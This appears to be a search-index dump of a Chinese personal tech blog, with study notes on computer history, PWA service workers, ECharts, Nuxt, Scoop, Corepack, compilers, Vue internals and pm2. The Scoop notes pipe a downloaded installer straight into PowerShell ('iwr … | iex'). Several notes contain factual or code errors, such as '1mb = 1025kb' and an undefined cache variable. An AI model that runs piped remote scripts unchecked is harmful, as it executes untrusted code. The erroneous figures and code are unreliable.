的原因，而诞生了世界第一款电子游戏，太空战争）\n晶体管计算机特点：对于电子管计算机来说，集成度高，空间占据小，功耗比电子管低，运行速度快\n集成电路计算机：诞生原因是因为德州仪器的工程师发明了集成电路（IC），操作系统也因为集成电路计算机的出现而诞生，当时为了解决IBM的2款集成电路计算机（7094和1401）所编写的程序无法相互兼容，IBM而推出了System/360（操作系统雏形）\n超大规模集成电路计算机：芯片集成超大规模的集成电路\n微型计算机发展历史：因为集成电路计算机的诞生，计算机逐渐从庞然大物变成小型，乃至微型，1971到1973年，500khz频率的微型计算机（8位），1973到1978年，高于1mhz的微型计算机（8位），1978到1985年，500mhz的微型计算机（16位），1985到2000年，高于1ghz的微型计算机（32位），2000年到至今，高于2ghz的微型计算机（64位）\n摩尔定律：当价格不变的情况下，集成电路的性能，会每18至24个月提升一倍\n后来因为集成电路太密集，热损耗也越来越高，无法解决，摩尔定律也因此失效\n因为摩尔定律的失效，单核已到瓶颈，转而搞多核CPU，2005年，英特尔发布了奔腾系列的双核CPU，AMD也发布了速龙系列的双核CPU，2006年，英特尔发布酷睿四核CPU，至今AMD的服务器级霄龙处理器CPU可以高达64核，而且基准频率（单核频率）可以达到2Ghz以上\n计算机的分类\n超级计算机：功能最强，运算最快，存储容量最大的计算机，用于天气预报，海洋监测，生物制药，科学计算，航天等等需要超大运算的领域，衡量超级计算机的单位是TFlop/s（每秒一万亿次浮点计算）\n著名的超级计算机有Summit，神威太湖之光，天河一号，天河二号，Sierra\n天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心\n大型计算机：又被称为大型机，大型机面向大型商业公司，维护成本高，硬件不易扩展，IBM占据大型机的大片市场，IBM为IOE中的I（计算机提供商）\n迷你计算机（服务器）：目前已替代大型机，为企业主要计算顶梁柱\n工作站：高端微型计算机，面向需要强性能的专业工作者（例如图形，视频）\n微型计算机（个人计算机）：又分为台式计算机，笔记本计算机，一体化计算机\n计算机体系和结构\n冯诺依曼体系：将指令和数据一起存储的计算机设计概念结构，使用通用电路设计，而不是使用专用电路，将指令存储，再将指令编译成通用电路可理解的程序\n冯诺依曼体系要求具备存储器，控制器，运算器，输入/输出设备\n冯诺依曼体系要求能将程序和数据发送给计算机（输入），能长期存储程序，数据，计算过程，计算结果的功能（存储器），具备算术，逻辑处理和数据传送等数据处理功能（运算器和控制器），并且能将处理结果反馈给用户（输出）\n冯诺依曼瓶颈：CPU和存储器速率之间无法调和，导致CPU空转等待数据传输\n现代计算机都是基于冯诺依曼体系的（解决冯诺依曼瓶颈），存储器和运算器，以及控制器整合在一起（就是CPU），CPU内部的存储器更高速（寄存器）\n计算机层次和编程语言\n程序编译和程序解析（计算机无法理解人类语言），需要进行语言（高级语言对低级语言）的转换\n高级语言生成低级语言的过程叫程序编译，而生成的工具叫编译器\n常见的编译型语言有C，C++，Golang\n高级语言作为输入，低级语言接收输入，从而达到高转低的目的，这个过程叫程序解析，而这个低级语言接收的工具叫解析器，解析器必须是用低级语言编写的\n常见的解析型语言有Python，PHP\njava是编译+解析语言，因为它会将源程序编译成JVM字节码，JVM虚拟机再将JVM字节码再解析成机器码，java的跨平台就是因为JVM虚拟机解析器\n计算机的层次：硬件逻辑层，微程序机器层，传统机器层，操作系统层，汇编语言层，高级语言层，应用层\n硬件逻辑层：由门电路和触发器等逻辑电路组成\n微程序机器层：由微指令组成的微程序直接交给硬件执行\n传统机器层：CPU指令集，不同架构CPU使用不同的CPU指令集\n这3层都为机器硬件层，一个指令就是一个微程序，也是一组微指令\n操作系统层：向上提供操作界面，向下对应指令系统，管理硬件（例如分配内存空间）\n汇编语言层：汇编语言可以直接编译成机器语言，完成翻译的工具叫汇编器\n高级语言层：高级语言\n应用层：应用软件\n计算机的计算单位\n容量单位\n在物理层次，用高低电平来记录信息（低电平为0，高电平为1，一个0/1的位被叫为bit（比特位））\n1字节（Byte）等于8bit\n1Kb（千字位）等于1024字节（Byte）\n1mb（兆字节）等于1025kb（千字节）\n1Gb（吉字节）等于1024mb（兆字节）\n1tb（太字节）等于1024gb（吉字节）\n1pb（拍字节）等于1024tb（太字节）\n1eb（艾字节）等于1024pb（拍字节）\n1024是2的10次方\n对于硬盘制造商来说，使用10进制，也就是硬盘制造商认为1000G才是1tb\n因此实质硬盘容量为购买标注的容量（例如240G）乘以1000的3次方，再除于1024的3次方，得到的数就是实质硬盘的容量\n原因是硬盘制造商为了记录硬盘的扇区，使用人类可理解的10进制，而不是2进制\n速度单位\n网络速度\n网络传输数据的单位为Mbps\n因此100M宽带就是指100Mbit/s，每秒传输100Mbps\n100Mbit换算字节就是100/8，也就是12.5MB，因此100m宽带峰值每秒可以传输12.5mb\nCPU速度（CPU的时钟频率，Hz）\nHz是每秒中的周期性变动重复次数的计量\n例如 3.30 GHz的CPU，就是3.3*1000^3Hz，也就是每秒可以达到33亿次的高低电平变化\n计算机的字符和编码集\n字符编码集的历史\nASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）\n因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符","title":"计算机组成原理学习笔记"},{"content":"PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\nPWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信\n注册Service Worker\nnavigator.serviceWorker.register('./sw.js',{scope: '/'}).then(\rregistration =\u0026gt; {\rconsole.log(registration)\r},error =\u0026gt; {\rconsole.error(error)\r}\r)\rwindow.onload = function() {\rdocument.body.append('PWA!')\r}\rsw.js\nconst cachename = 'v1'\rself.addEventListener('install', function (event) {\rconsole.log('install',event)\r// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本\revent.waitUntil(new Promise(resolve =\u0026gt;{\rsetTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本\r}))\r// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的\revent.waitUntil(caches.open(name).then(cache =\u0026gt;{\rcache.addAll([\r'/',\r'./1.img'\r])\r})) // 开启cache api缓存系统\r})\rself.addEventListener('activate', function (event) {\rconsole.log('activate',event)\r// 激活新的Service Worker脚本事件\revent.waitUntil(self.clients.claim())\revent.waitUntil(caches.keys().then(cacheNames =\u0026gt;{\rreturn Promise.all(cacheNames.map(cacheNames =\u0026gt;{\rif(cacheNames !== cachename){\rcaches.delete(cacheNames) // 当前缓存名称不等于设置的缓存名称时，清除缓存，重新获取资源\r}\r}))\r}))\r})\rself.addEventListener('fetch', function (event) {\rconsole.log('fetch',event)\r// 获取资源请求事件，例如增加外链\revent.respondWith(caches.open(cachename).then(cache =\u0026gt; {\rreturn cache.match(event.request).then(response =\u0026gt;{\rif(response){\rreturn response // 命中缓存则直接使用缓存\r}\rreturn fetch(event.request).then(response =\u0026gt;{\rcache.put(event.request,response.clone())\r// 没有命中则获取该资源\rreturn response\r})\r})\r}))\r})\rmanifest.json：让web应用具备app的效果，例如logo，启动页面\n{\r\u0026quot;name\u0026quot;: \u0026quot;hallo\u0026quot;,\r\u0026quot;short_name\u0026quot;: \u0026quot;你好\u0026quot;,\r\u0026quot;display\u0026quot;: \u0026quot;standalone\u0026quot;,\r\u0026quot;orientation\u0026quot;: \u0026quot;landscape\u0026quot;,\r\u0026quot;start_url\u0026quot;: \u0026quot;/\u0026quot;,\r\u0026quot;theme_color\u0026quot;: \u0026quot;purple\u0026quot;,\r\u0026quot;background_color\u0026quot;: \u0026quot;purple\u0026quot;,\r\u0026quot;icons\u0026quot;: [\r{\r\u0026quot;src\u0026quot;: \u0026quot;logo.jpg\u0026quot;,\r\u0026quot;sizes\u0026quot;: \u0026quot;48x48\u0026quot;,\r\u0026quot;type\u0026quot;: \u0026quot;image/jpg\u0026quot;\r},\r{\r\u0026quot;src\u0026quot;: \u0026quot;logo1.jpg\u0026quot;,\r\u0026quot;sizes\u0026quot;: \u0026quot;144x144\u0026quot;,\r\u0026quot;type\u0026quot;: \u0026quot;image/jpg\u0026quot;\r}\r]\r}\rNotification消息推送\n查看授权\nNotification.permission\n有3个值，在浏览器默认为default，当同意时，为granted，当不同意时，为denied\n在Service Worker中，默认为denied，因为Service Worker不能弹出授权请求，必须先在浏览器中同意后，Service Worker只能发送通知\n请求授权\nNotification.requestPermission().then(permission =\u0026gt; console.log(permission))\n发送通知\nnew Notification(\u0026lsquo;hallo word\u0026rsquo;, {body: \u0026lsquo;hallo\u0026rsquo;})\n在Service Worker发送通知\nself.registration.showNotificatio(\u0026lsquo;hallo word\u0026rsquo;)\n成熟的PWA插件，workbox\n","permalink":"https://xiaochenabc123.github.io/posts/154/","summary":"PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\nPWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信\n注册Service Worker\nnavigator.serviceWorker.register('./sw.js',{scope: '/'}).then(\rregistration =\u0026gt; {\rconsole.log(registration)\r},error =\u0026gt; {\rconsole.error(error)\r}\r)\rwindow.onload = function() {\rdocument.body.append('PWA!')\r}\rsw.js\nconst cachename = 'v1'\rself.addEventListener('install', function (event) {\rconsole.log('install',event)\r// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本\revent.waitUntil(new Promise(resolve =\u0026gt;{\rsetTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本\r}))\r// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的\revent.waitUntil(caches.open(name).then(cache =\u0026gt;{\rcache.addAll([\r'/',\r'./1.img'\r])\r})) // 开启cache api缓存系统\r})\rself.","title":"简单使用PWA技术"},{"content":"ECharts是基于JavaScript的数据可视化图表库\n安装\nnpm install echarts --save\r第一个实例\nimport * as echarts from 'echarts'\rlet app = echarts.init(document.getElementById('app'), null, {\rwidth: 800,\rheight: 500\r})\rlet data = {\rtitle: {\rtext: '用户管理'\r},\rtooltip:{},\rlegend: {\rdata: ['用户']\r},\rxAxis: {\rdata: [\r'root','admin','user1','user2','user3'\r]\r},\ryAxis: {},\rseries: [\r{\rname: '用户权限',\rtype: 'bar',\rdata: [\r10,8,5,1,3\r]\r}\r]\r}\rapp.setOption(data)\r注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个\n","permalink":"https://xiaochenabc123.github.io/posts/153/","summary":"ECharts是基于JavaScript的数据可视化图表库\n安装\nnpm install echarts --save\r第一个实例\nimport * as echarts from 'echarts'\rlet app = echarts.init(document.getElementById('app'), null, {\rwidth: 800,\rheight: 500\r})\rlet data = {\rtitle: {\rtext: '用户管理'\r},\rtooltip:{},\rlegend: {\rdata: ['用户']\r},\rxAxis: {\rdata: [\r'root','admin','user1','user2','user3'\r]\r},\ryAxis: {},\rseries: [\r{\rname: '用户权限',\rtype: 'bar',\rdata: [\r10,8,5,1,3\r]\r}\r]\r}\rapp.setOption(data)\r注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个","title":"ECharts数据可视化图表库简单使用"},{"content":"nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具\n创建项目\nyarn create nuxt-app test\n需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等\n安装依赖\nyarn\n启动项目\nyarn dev\n构建打包\nyarn build\nyarn start\n启动测试环境 yarn test\n","permalink":"https://xiaochenabc123.github.io/posts/152/","summary":"nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具\n创建项目\nyarn create nuxt-app test\n需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等\n安装依赖\nyarn\n启动项目\nyarn dev\n构建打包\nyarn build\nyarn start\n启动测试环境 yarn test","title":"Nuxt.js学习笔记"},{"content":"Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew\nscoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）\n允许执行本地脚本权限\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser\n修改Scoop安装目录（用户级）\n$env:SCOOP=\u0026lsquo;D:\\Software\\Scoop\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP\u0026rsquo;, $env:SCOOP, \u0026lsquo;User\u0026rsquo;)\n修改Scoop安装目录（全局）\n$env:SCOOP_GLOBAL=\u0026lsquo;D:\\Software\\Scoop\\Global\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP_GLOBAL\u0026rsquo;, $env:SCOOP_GLOBAL, \u0026lsquo;Machine\u0026rsquo;)\n目录介绍： apps：通过scoop安装的软件存储的目录\nbuckets：管理软件的仓库目录（记录了哪些仓库有哪些软件）\nchache：软件安装包目录\npersit：存储用户数据，与软件分离\nshims；软链接\n安装scoop\niwr -useb get.scoop.sh | iex\n或者\niex (new-object net.webclient).downloadstring(\u0026lsquo;https://get.scoop.sh\u0026rsquo;)\n安装软件\nscoop install sudo\n查看环境存在的问题\nscoop checkup\n将一些scoop环境必须的软件安装一下\n搜索软件\nscoop search git\n安装软件\nscoop install git\n查看软件信息\nscoop info git\n查看已经安装的软件\nscoop list\n卸载软件（-p删除配置）\nscoop uninstall git -p\n更新软件\nscoop update git\n更新全部已安装软件\nscoop update *\n导出已安装软件列表\nscoop.cmd export \u0026gt; App_list.txt\n添加官方的bucket（包含大量的软件）\nscoop bucket add main scoop bucket add extras\n更新仓库\nscoop updat\n限制软件更新\nscoop hold git\n代理\nscoop config proxy 127.0.0.1:7890\n取消代理\nscoop config proxy none\n查看其他scoop命令\nscoop help\n","permalink":"https://xiaochenabc123.github.io/posts/150/","summary":"Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew\nscoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）\n允许执行本地脚本权限\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser\n修改Scoop安装目录（用户级）\n$env:SCOOP=\u0026lsquo;D:\\Software\\Scoop\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP\u0026rsquo;, $env:SCOOP, \u0026lsquo;User\u0026rsquo;)\n修改Scoop安装目录（全局）\n$env:SCOOP_GLOBAL=\u0026lsquo;D:\\Software\\Scoop\\Global\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP_GLOBAL\u0026rsquo;, $env:SCOOP_GLOBAL, \u0026lsquo;Machine\u0026rsquo;)\n目录介绍： apps：通过scoop安装的软件存储的目录\nbuckets：管理软件的仓库目录（记录了哪些仓库有哪些软件）\nchache：软件安装包目录\npersit：存储用户数据，与软件分离\nshims；软链接\n安装scoop\niwr -useb get.scoop.sh | iex\n或者\niex (new-object net.webclient).downloadstring(\u0026lsquo;https://get.scoop.sh\u0026rsquo;)\n安装软件\nscoop install sudo\n查看环境存在的问题\nscoop checkup\n将一些scoop环境必须的软件安装一下\n搜索软件\nscoop search git\n安装软件\nscoop install git\n查看软件信息\nscoop info git\n查看已经安装的软件\nscoop list\n卸载软件（-p删除配置）\nscoop uninstall git -p\n更新软件\nscoop update git\n更新全部已安装软件\nscoop update *","title":"简单使用Scoop包管理器"},{"content":"Corepack（管理yarn和pnpm的包管理器的管理器）\ncorepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）\ncorepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）\n手动安装\nnpm install -g corepack\r如果全局已经安装了yarn或者pnpm的话，需要先卸载\nnpm uninstall -g yarn pnpm\r启用corepack\ncorepack enable\r限制包管理器版本\npackage.json\n\u0026quot;packageManager\u0026quot;: \u0026quot;yarn@1.22.19\u0026quot;\r表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn\n默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理\n修改packageManager的值后，yarn install，会自动安装指定版本\n安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）\nyarn install\r指定一个新的包管理器\ncorepack prepare pnpm@7.13.5 --activate\r使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）\n获取\ncorepack prepare --all -o=D:/demo/test.tgz\r启动压缩包内的包\ncorepack hydrate D:/demo/test.tgz\r或者获取完成后立刻使用\ncorepack hydrate D:/demo/test.tgz --activate ","permalink":"https://xiaochenabc123.github.io/posts/149/","summary":"Corepack（管理yarn和pnpm的包管理器的管理器）\ncorepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）\ncorepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）\n手动安装\nnpm install -g corepack\r如果全局已经安装了yarn或者pnpm的话，需要先卸载\nnpm uninstall -g yarn pnpm\r启用corepack\ncorepack enable\r限制包管理器版本\npackage.json\n\u0026quot;packageManager\u0026quot;: \u0026quot;yarn@1.22.19\u0026quot;\r表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn\n默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理\n修改packageManager的值后，yarn install，会自动安装指定版本\n安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）\nyarn install\r指定一个新的包管理器\ncorepack prepare pnpm@7.13.5 --activate\r使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）\n获取\ncorepack prepare --all -o=D:/demo/test.tgz\r启动压缩包内的包\ncorepack hydrate D:/demo/test.tgz\r或者获取完成后立刻使用\ncorepack hydrate D:/demo/test.tgz --activate ","title":"简单使用Corepack-包管理器的管理器"},{"content":"编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））\n编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式\n编译的翻译只能作用于形式语言\n编译器和解释器\n编译器将源程序编译成目标的程序\n解释器接收源程序与输入，执行并且返回输出\n混合编译器通常需要2次编译，第一次编译将源程序翻译成目标程序，第二次编译时，将目标程序与输入一起放到虚拟机来处理执行（虚拟机用于跨平台，来处理复杂的执行环境）\n即时编译器，将源程序编译成机器码后再执行\n交叉编译：在一个平台上编译产生多个平台的可执行程序\n编译的过程\n关注度分离\n词法分析（分词，分析词法）\n语法分析（将词分析的结果分析成抽象语法树的过程，也就是AST（Abstract Syntax Tree）），语法分析器被叫为parser\n语义分析：分析抽象语法的语法是否合法\n根据抽象语法树生成的三地址码进行存储，传输，优化\n根据三地址码生成机器码（有一些还需要把机器码编译成可执行应用）\n词法分析：将程序的字符流转换为符号流，分析符号，并且给予描述\n例如：let a = 1\n词法分析后得到\nlet: Keyword a: Variable =: Operator 1: Integer\n词法分析器会将关键字抽离，并且对每个字符作描述\n词法分析器得到返回值是符号元组，符号又叫词法单元（Token）\n词法：构造语句的方法（哪些是具备词性（根据词的特点来区分的语法分类，例如动词，名词等等），哪些是具备词语（具有意义的词，关键字）），通常使用正则表达式来描述词法，使用状态机来实现正则表达式\n字母表（alphabet）：某个编程语言中允许的全部字符\n串（string）是某个编程语言中的字母序列\n词法分析器将源程序的字符流进行分析，通正则文法过来找到这些词汇，并且给予词性，如果存在不支持的词汇，则报错（也就是分词）\n词法分析器使用了一种叫有限自动机（有限状态机，deterministic finite automaton, DFA）的算法，在分析字符串时，当遇到了关键字时，会改变状态\n有限自动机和图灵机很相似，不过有限自动机只能读取，无法进行计算\n例如：a == 1\n当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量\n语法分析\n语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状\n语法制导翻译\n","permalink":"https://xiaochenabc123.github.io/posts/148/","summary":"编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））\n编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式\n编译的翻译只能作用于形式语言\n编译器和解释器\n编译器将源程序编译成目标的程序\n解释器接收源程序与输入，执行并且返回输出\n混合编译器通常需要2次编译，第一次编译将源程序翻译成目标程序，第二次编译时，将目标程序与输入一起放到虚拟机来处理执行（虚拟机用于跨平台，来处理复杂的执行环境）\n即时编译器，将源程序编译成机器码后再执行\n交叉编译：在一个平台上编译产生多个平台的可执行程序\n编译的过程\n关注度分离\n词法分析（分词，分析词法）\n语法分析（将词分析的结果分析成抽象语法树的过程，也就是AST（Abstract Syntax Tree）），语法分析器被叫为parser\n语义分析：分析抽象语法的语法是否合法\n根据抽象语法树生成的三地址码进行存储，传输，优化\n根据三地址码生成机器码（有一些还需要把机器码编译成可执行应用）\n词法分析：将程序的字符流转换为符号流，分析符号，并且给予描述\n例如：let a = 1\n词法分析后得到\nlet: Keyword a: Variable =: Operator 1: Integer\n词法分析器会将关键字抽离，并且对每个字符作描述\n词法分析器得到返回值是符号元组，符号又叫词法单元（Token）\n词法：构造语句的方法（哪些是具备词性（根据词的特点来区分的语法分类，例如动词，名词等等），哪些是具备词语（具有意义的词，关键字）），通常使用正则表达式来描述词法，使用状态机来实现正则表达式\n字母表（alphabet）：某个编程语言中允许的全部字符\n串（string）是某个编程语言中的字母序列\n词法分析器将源程序的字符流进行分析，通正则文法过来找到这些词汇，并且给予词性，如果存在不支持的词汇，则报错（也就是分词）\n词法分析器使用了一种叫有限自动机（有限状态机，deterministic finite automaton, DFA）的算法，在分析字符串时，当遇到了关键字时，会改变状态\n有限自动机和图灵机很相似，不过有限自动机只能读取，无法进行计算\n例如：a == 1\n当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量\n语法分析\n语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状\n语法制导翻译","title":"编译原理学习笔记"},{"content":"组件的渲染，更新\n组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM\nvue应用的初始化\nimport { createApp } from 'vue'\rimport App from './app'\rconst app = createApp(App)\rapp.mount('#app')\r通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用\n通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的\nensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）\n","permalink":"https://xiaochenabc123.github.io/posts/147/","summary":"组件的渲染，更新\n组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM\nvue应用的初始化\nimport { createApp } from 'vue'\rimport App from './app'\rconst app = createApp(App)\rapp.mount('#app')\r通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用\n通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的\nensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）","title":"vuejs底层原理学习笔记"},{"content":"保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记\n","permalink":"https://xiaochenabc123.github.io/links/","summary":"保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记","title":"链接"},{"content":"","permalink":"https://xiaochenabc123.github.io/categories/","summary":"","title":"分类"},{"content":"","permalink":"https://xiaochenabc123.github.io/tags/","summary":"","title":"标签"},{"content":"安装pm2\nnpm install pm2 -g\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js \u0026ndash;watch -i max \u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026rdquo; \u0026ndash;name demo\n\u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026quot;为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n\u0026ndash;name为进程名字\npm2执行npm run dev\npm2 start npm \u0026ndash;watch \u0026ndash; run dev\npm2执行npm run start\npm2 start npm \u0026ndash;name demo \u0026ndash; run start\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n查看全部进程的日志\npm2 logs\n清空所有日志文件\npm2 flush\n","permalink":"https://xiaochenabc123.github.io/posts/pm2/","summary":"安装pm2\nnpm install pm2 -g\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js \u0026ndash;watch -i max \u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026rdquo; \u0026ndash;name demo\n\u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026quot;为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n\u0026ndash;name为进程名字\npm2执行npm run dev\npm2 start npm \u0026ndash;watch \u0026ndash; run dev\npm2执行npm run start\npm2 start npm \u0026ndash;name demo \u0026ndash; run start\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n查看全部进程的日志\npm2 logs\n清空所有日志文件\npm2 flush","title":"简单使用Pm2---node进程管理工具"},{"content":"关于本站\n这是本人的个人博客，分享一些本人学习过程中写的笔记\n如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改\n本站未注明转载的文章均为原创，转载请标明来源\n本站点基于hugo构建\n免责声明\n本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：xiaochenabc123@qq.com），将会在第一时间为您做相关处理\n自述：\n2002年出生，星座：摩羯座\n偏好语言：JavaScript(TypeScript)，Golang，Python，Rust\nAPP\u0026amp;小程序：Flutter，Taro\n家里蹲公司的一名干饭攻城狮\n最喜欢的游戏：CSGO，塞尔达传说：旷野之息，王者荣耀\n看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师\n目前在看小说：完美世界\n联系方式：\n邮箱：xiaochenabc123@qq.com\nGitHub：https://github.com/xiaochenabc123\n书籍：\nGO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理\n","permalink":"https://xiaochenabc123.github.io/about/","summary":"关于本站\n这是本人的个人博客，分享一些本人学习过程中写的笔记\n如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改\n本站未注明转载的文章均为原创，转载请标明来源\n本站点基于hugo构建\n免责声明\n本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：xiaochenabc123@qq.com），将会在第一时间为您做相关处理\n自述：\n2002年出生，星座：摩羯座\n偏好语言：JavaScript(TypeScript)，Golang，Python，Rust\nAPP\u0026amp;小程序：Flutter，Taro\n家里蹲公司的一名干饭攻城狮\n最喜欢的游戏：CSGO，塞尔达传说：旷野之息，王者荣耀\n看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师\n目前在看小说：完美世界\n联系方式：\n邮箱：xiaochenabc123@qq.com\nGitHub：https://github.com/xiaochenabc123\n书籍：\nGO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路